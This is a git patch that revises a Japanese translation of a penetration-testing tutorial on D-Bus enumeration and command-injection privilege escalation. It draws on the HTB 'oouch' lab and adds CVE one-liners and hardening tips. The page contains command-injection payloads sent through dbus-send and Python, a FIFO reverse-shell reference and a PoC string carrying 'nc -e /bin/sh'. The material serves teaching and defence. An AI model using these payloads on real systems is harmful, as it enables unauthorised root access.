From ef2e786107916d146f9ed06140d4bfaf43fcad8f Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 06:11:45 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration- --- ...-command-injection-privilege-escalation.md | 105 ++++++++++++++---- 1 file changed, 86 insertions(+), 19 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 26b55fb7a..26f42e90b 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -4,9 +4,9 @@ ## **GUI列挙** -D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:システムバスは主に**特権サービスがシステム全体に関連するサービスを公開するために利用され**、各ログインユーザーのためのセッションバスは、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、特権の高いサービス(例:root)で動作することに関連するシステムバスに主に焦点を当てています。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。 +D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:主に**特権サービスがシステム全体に関連するサービスを公開するために利用するシステムバス**と、各ログインユーザーのためのセッションバスです。このセッションバスは、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、主にシステムバスに焦点を当てています。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。 -D-Bus上のサービスは、**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的での重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返し、ここではプロパティとシグナルを省略してメソッドに焦点を当てています。 +D-Bus上のサービスは、公開される**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的での重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返しますが、ここではプロパティとシグナルを省略し、メソッドに焦点を当てています。 D-Busインターフェースとの通信には、2つのツールが使用されました:D-Busによって公開されるメソッドをスクリプトで簡単に呼び出すためのCLIツール**gdbus**と、各バスで利用可能なサービスを列挙し、各サービスに含まれるオブジェクトを表示するために設計されたPythonベースのGUIツール[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。 ```bash @@ -16,15 +16,15 @@ sudo apt-get install d-feet ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、**org.debin.apt**がシステムバスボタンを選択した後に特に強調表示されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択されたオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。 +最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、**org.debin.apt**がシステムバスボタンを選択した後に特に強調されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択したオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。 注目すべき特徴は、サービスの**プロセスID(pid)**と**コマンドライン**が表示されることで、サービスが昇格した特権で実行されているかどうかを確認するのに役立ちます。これは研究の関連性にとって重要です。 **D-Feetはメソッドの呼び出しも可能です**:ユーザーはパラメータとしてPython式を入力でき、D-FeetはそれをD-Busタイプに変換してサービスに渡します。 -ただし、**いくつかのメソッドは認証を必要とします**。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。 +ただし、**一部のメソッドは認証を必要とします**。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。 -また、いくつかのサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。 +また、一部のサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。 ## **Cmd line Enumeration** @@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act ``` #### 接続 -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスへの接続を設定すると、バスはその接続に _unique connection name_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続にそのようなユニークな接続名が割り当てられることは決してありません。ユニークな接続名は、通常禁止されているコロン文字で始まるため、簡単に認識できます。 +[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスへの接続を設定すると、バスはその接続に _ユニーク接続名_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。さらに重要なことに、バスの寿命中に再利用することはできません。これは、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続にそのようなユニーク接続名が割り当てられることは決してないことを意味します。ユニーク接続名は、禁止されているコロン文字で始まるため、簡単に認識できます。 ### サービスオブジェクト情報 @@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` -メソッド `.Block` のインターフェース `htb.oouch.Block` に注意してください(私たちが興味を持っているものです)。他の列の "s" は、文字列を期待していることを意味するかもしれません。 +注意してください、インターフェース `htb.oouch.Block` のメソッド `.Block`(私たちが興味を持っているもの)。他の列の "s" は、文字列を期待していることを意味するかもしれません。 ### モニター/キャプチャインターフェース @@ -159,7 +159,7 @@ org.freedesktop.DBus.Properties interface - - - **通信をモニター**するには、**root**である必要があります。まだrootで問題がある場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) と [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) を確認してください。 > [!WARNING] -> D-Bus設定ファイルを構成して**非rootユーザーが通信をスニッフィングできるようにする方法**を知っている場合は、ぜひ**ご連絡ください**! +> D-Busの設定ファイルを構成して**非rootユーザーが通信をスニッフィングできるようにする**方法を知っている場合は、**私に連絡してください**! モニターするための異なる方法: ```bash @@ -202,15 +202,15 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` -[D-Busのドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照して、マッチルールの構文に関する詳細情報を確認してください。 +D-Busの構文ルールに関する詳細は、[D-Busドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照してください。 -### もっと +### さらに -`busctl`にはさらに多くのオプションがあります。[**ここですべて見つけることができます**](https://www.freedesktop.org/software/systemd/man/busctl.html)。 +`busctl`にはさらに多くのオプションがあります。[**すべてはこちらで見つけてください**](https://www.freedesktop.org/software/systemd/man/busctl.html)。 ## **脆弱なシナリオ** -ユーザー**qtcがHTBのホスト「oouch」内にいる場合**、_ /etc/dbus-1/system.d/htb.oouch.Block.conf _にある**予期しないD-Bus設定ファイル**を見つけることができます。 +ユーザー**qtc inside the host "oouch" from HTB**として、_ /etc/dbus-1/system.d/htb.oouch.Block.conf _にある**予期しないD-Bus設定ファイル**を見つけることができます。 ```xml @@ -231,7 +231,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error" ``` -以前の設定から、**このD-BUS通信を介して情報を送受信するには、`root`または`www-data`ユーザーである必要があります**。 +前の設定から、**このD-BUS通信を介して情報を送受信するには、`root`または`www-data`ユーザーである必要があります**。 Dockerコンテナ**aeb4525789d8**内のユーザー**qtc**として、ファイル_/code/oouch/routes.py_にいくつかのdbus関連のコードがあります。これが興味深いコードです: ```python @@ -252,7 +252,7 @@ D-Bus接続の反対側には、Cでコンパイルされたバイナリが実 ### これを悪用する -このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、91行目から97行目の間に**`D-Busオブジェクトパス`** **と`インターフェース名`**が**登録されている**方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要です: +このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、91行目から97行目の間に**`D-Busオブジェクトパス`**と**`インターフェース名`**が**登録されている**方法があります。この情報は、D-Bus接続に情報を送信するために必要です: ```c /* Install the object */ r = sd_bus_add_object_vtable(bus, @@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus, block_vtable, NULL); ``` -また、57行目には**このD-Bus通信に登録されている唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されます**_): +また、57行目には**このD-Bus通信に登録されている唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されます**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` #### Python -次のpythonコードは、`block_iface.Block(runme)`を介して`Block`メソッドにペイロードをD-Bus接続に送信します(_これは前のコードのチャンクから抽出されたことに注意してください_): +次のPythonコードは、`block_iface.Block(runme)`を介して`Block`メソッドにペイロードをD-Bus接続に送信します(_これは前のコードのチャンクから抽出されたことに注意してください_): ```python import dbus bus = dbus.SystemBus() @@ -283,13 +283,13 @@ bus.close() dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` - `dbus-send` は「Message Bus」にメッセージを送信するためのツールです。 -- Message Bus – システムがアプリケーション間の通信を容易にするために使用するソフトウェアです。これはメッセージキューに関連しています(メッセージは順序通りに並べられます)が、Message Busではメッセージはサブスクリプションモデルで送信され、非常に迅速です。 +- Message Bus – システムがアプリケーション間の通信を容易にするために使用するソフトウェアです。これはメッセージキューに関連しています(メッセージは順序通りに並べられます)が、Message Busではメッセージがサブスクリプションモデルで送信され、非常に迅速です。 - “-system” タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルト)。 - “–print-reply” タグは、メッセージを適切に印刷し、人間が読みやすい形式で返信を受け取るために使用されます。 - “–dest=Dbus-Interface-Block” Dbusインターフェースのアドレスです。 -- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、オブジェクトパスなどがあります。この中で、「オブジェクトパス」はファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これはFIFOリバースシェルファイル/コマンドの場所を指定してオブジェクトパスを再度呼び出すためのものです。 +- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、objpathなどがあります。この中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これは、FIFOリバースシェルファイル/コマンドの場所を置くためにオブジェクトパスを再度呼び出すためのものです。 -_`htb.oouch.Block.Block` では、最初の部分(`htb.oouch.Block`)がサービスオブジェクトを参照し、最後の部分(`.Block`)がメソッド名を参照していることに注意してください。_ +_`htb.oouch.Block.Block` の最初の部分(`htb.oouch.Block`)はサービスオブジェクトを参照し、最後の部分(`.Block`)はメソッド名を参照します。_ ### C code ```c:d-bus_server.c @@ -432,8 +432,75 @@ sd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` +## 自動列挙ヘルパー (2023-2025) + +`busctl`/`gdbus`を使用して大規模なD-Bus攻撃面を手動で列挙するのは迅速に苦痛になります。最近数年でリリースされた2つの小さなFOSSユーティリティは、レッドチームやCTFの活動中に物事を加速させることができます: + +### dbusmap ("D-BusのNmap") +* 著者: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap) +* Cで書かれた単一の静的バイナリ(<50 kB)で、すべてのオブジェクトパスを歩き、`Introspect` XMLを取得し、所有するPID/UIDにマッピングします。 +* 有用なフラグ: +```bash +# *system*バス上のすべてのサービスをリストし、呼び出し可能なすべてのメソッドをダンプ +sudo dbus-map --dump-methods + +# Polkitプロンプトなしで到達可能なメソッド/プロパティを積極的にプローブ +sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties +``` +* ツールは、保護されていないよく知られた名前を`!`でマークし、*所有*(引き継ぎ)できるサービスや、特権のないシェルから到達可能なメソッド呼び出しを即座に明らかにします。 + +### uptux.py +* 著者: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux) +* systemdユニット内の*書き込み可能*なパスと、過剰に許可されたD-Busポリシーファイル(例: `send_destination="*"`)を探すPython専用スクリプトです。 +* 簡単な使用法: +```bash +python3 uptux.py -n # すべてのチェックを実行するが、ログファイルは作成しない +python3 uptux.py -d # 詳細なデバッグ出力を有効にする +``` +* D-Busモジュールは以下のディレクトリを検索し、通常のユーザーによって偽装またはハイジャック可能なサービスを強調表示します: +* `/etc/dbus-1/system.d/` および `/usr/share/dbus-1/system.d/` +* `/etc/dbus-1/system-local.d/`(ベンダーのオーバーライド) + +--- + +## 注目すべきD-Bus特権昇格バグ (2024-2025) + +最近公開されたCVEを注視することで、カスタムコード内の類似の不安全なパターンを見つけるのに役立ちます。以下の高影響のローカルEoP問題はすべて、**system bus**上の認証/認可の欠如から生じています: + +| 年 | CVE | コンポーネント | 根本原因 | ワンライナーPoC | +|------|-----|-----------|------------|---------------| +| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HIDデーモン) | `logid`システムサービスは、*任意*のユーザーがデバイスプロファイルを変更し、マクロ文字列を介して任意のシェルコマンドを注入できる制限のない`org.freedesktop.Logiopsd`インターフェースを公開しています。 | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` | +| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | ルートで実行されるプロキシが、呼び出し元のUID/Polkitコンテキストを転送せずにレガシーバス名をバックエンドサービスに転送するため、すべての転送リクエストはUID 0として扱われます。 | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` | +| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | 公開された`Dispatch`メソッドにはACLが欠如しているため、攻撃者は*パッケージマネージャ*ワーカーに任意のRPMをインストールさせることができます。 | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` | + +注意すべきパターン: +1. サービスが**system bus上でrootとして実行される**。 +2. PolicyKitチェックがない(またはプロキシによってバイパスされている)。 +3. メソッドが最終的に`system()`/パッケージのインストール/デバイスの再構成につながる → コード実行。 + +`dbusmap --enable-probes`または手動の`busctl call`を使用して、パッチが適切な`polkit_authority_check_authorization()`ロジックをバックポートしているか確認します。 + +--- + +## ハードニング & 検出のクイックウィン + +* 世界書き込み可能または*送信/受信*オープンポリシーを検索: +```bash +grep -R --color -nE '